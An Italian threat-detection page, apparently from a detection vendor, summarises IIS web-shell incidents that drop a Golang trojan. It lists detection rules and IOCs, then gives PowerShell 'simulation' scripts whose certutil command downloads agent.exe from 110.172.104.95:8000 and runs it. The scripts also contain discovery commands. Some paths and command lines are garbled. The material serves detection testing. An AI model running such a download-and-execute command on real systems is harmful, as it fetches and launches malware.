Prova, Errore e Tipi: Perché Alcuni Attacchi Malware Non Sono Così ‘Sofisticati’ Come Pensi
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
L’articolo descrive tre incidenti separati in cui un attore di minaccia ha sfruttato server web IIS compromessi per scaricare ed eseguire un Trojan basato su Golang (agent.exe) sugli endpoint delle vittime. Gli attaccanti hanno tentato ripetutamente l’esecuzione, utilizzato certutil per recuperare i payload e successivamente aggiunto esclusioni di Windows Defender prima di tentare di stabilire la persistenza tramite un servizio Windows. La rilevazione è stata ottenuta tramite log EDR e Sysmon, che hanno catturato le linee di comando, gli alberi dei processi e l’attività di rete. Gli attacchi illustrano come gli avversari si adattino agli ostacoli difensivi piuttosto che seguire un piano perfetto.
Indagine
Gli analisti di Huntress hanno esaminato i registri degli eventi di Windows, gli eventi Sysmon e i registri dei server web IIS per ricostruire la catena d’attacco. Hanno identificato l’esecuzione iniziale della web-shell tramite w3wp.exe, osservato comandi malformati, tentativi ripetuti di consegna del payload e la creazione di un servizio chiamato WindowsUpdate che non è riuscito ad avviarsi. Sono stati raccolti e correlati attraverso i tre incidenti vari indicatori come percorsi dei file, linee di comando e connessioni di rete.
Mitigazione
Le mitigazioni chiave includono il rafforzamento dei server IIS, la restrizione dell’esecuzione della web-shell, l’applicazione di liste di autorizzazione rigorose per le applicazioni, il monitoraggio per l’uso anomalo di LOLBins come certutil e PowerShell e l’assicurarsi che le esclusioni di Windows Defender non siano create in modo arbitrario. Si raccomanda anche l’isolamento rapido degli host compromessi e la rimozione di strumenti scaricati come GotoHTTP.
Risposta
Una volta rilevato, i rispondenti dovrebbero isolare l’endpoint interessato, raccogliere i log completi dell’albero dei processi e di rete, eliminare eventuali binari dannosi, ripristinare esclusioni non autorizzate di Windows Defender e verificare fallimenti nella creazione del servizio. Condurre una revisione approfondita del server web per le pagine compromesse e ruotare tutte le credenziali compromesse.
Flusso di attacco
Rilevamenti
Attribuire l’esecuzione per nascondere file (tramite linea di comando)
Visualizza
Eseguibile sospetto contenente solo numeri nel nome (tramite linea di comando)
Visualizza
Modifiche sospette alle preferenze di Windows Defender (tramite PowerShell)
Visualizza
L’uso di Certutil per la codifica dei dati e operazioni di certificazione (tramite linea di comando)
Visualizza
File sospetti nel profilo utente pubblico (tramite evento file)
Visualizza
Esecuzione sospetta dal profilo utente pubblico (tramite creazione processo)
Visualizza
IOC (SourceIP) per rilevare: Tentativo, Errore e Refusi: Perché alcuni attacchi malware non sono così ‘sofisticati’ come pensi
Visualizza
IOC (HashSha256) per rilevare: Tentativo, Errore e Refusi: Perché alcuni attacchi malware non sono così ‘sofisticati’ come pensi
Visualizza
IOC (DestinationIP) per rilevare: Tentativo, Errore e Refusi: Perché alcuni attacchi malware non sono così ‘sofisticati’ come pensi
Visualizza
Rilevamento di richieste POST dannose sul server web [Webserver]
Visualizza
Rilevare l’esecuzione della linea di comando dal processo del server web [Creazione Processo Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo preliminare del Telemetry & Baseline deve essere passato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante che ha già ottenuto l’esecuzione del codice su un server IIS compromesso sfrutta ilw3wp.exeprocesso (il worker IIS) per eseguire una serie di proxy di binari firmati. Innanzitutto, enumerano lo stato del sistema e della rete (whoami.exe,netstat -an,ipconfig /all). Poi usanocertutil.exeper scaricare un payload dannoso (agent.exe) da un server C2 remoto ed eseguirlo immediatamente nella directory utente pubblica. Tutti i comandi sono emessi tramitecmd.exe /clanciato nel contesto diw3wp.exe, assicurandosi che l’evento di creazione del processo soddisfi le condizioni della regola.# 1. Enumerare le informazioni di sistema/utente Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Scaricare un payload dannoso tramite certutil e eseguirlo $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Script di Test di Regressione: Lo script qui sotto automatizza l’intera catena d’attacco, riproducendo la telemetria esatta che dovrebbe attivare la regola Sigma.
<# .SYNOPSIS Simula l'attività dell'avversario che attiva la regola Sigma "Rilevare l'esecuzione della linea di comando dal processo del server web". .DESCRIPTION Esegue una serie di comandi di scoperta e di download e esecuzione da w3wp.exe (processo worker di IIS). Eseguito su un host Windows dove l'auditing della creazione dei processi (ID Evento 4688) è abilitato. #> # Funzione per invocare un comando tramite w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invocando tramite w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Comandi di scoperta (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Download e esecuzione malevola (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Comandi di Pulizia: Rimuovere il payload scaricato e terminare eventuali processi vaganti.
# Eliminare il binario agent malevolo Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Opzionalmente fermare l'agent se ancora in esecuzione Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force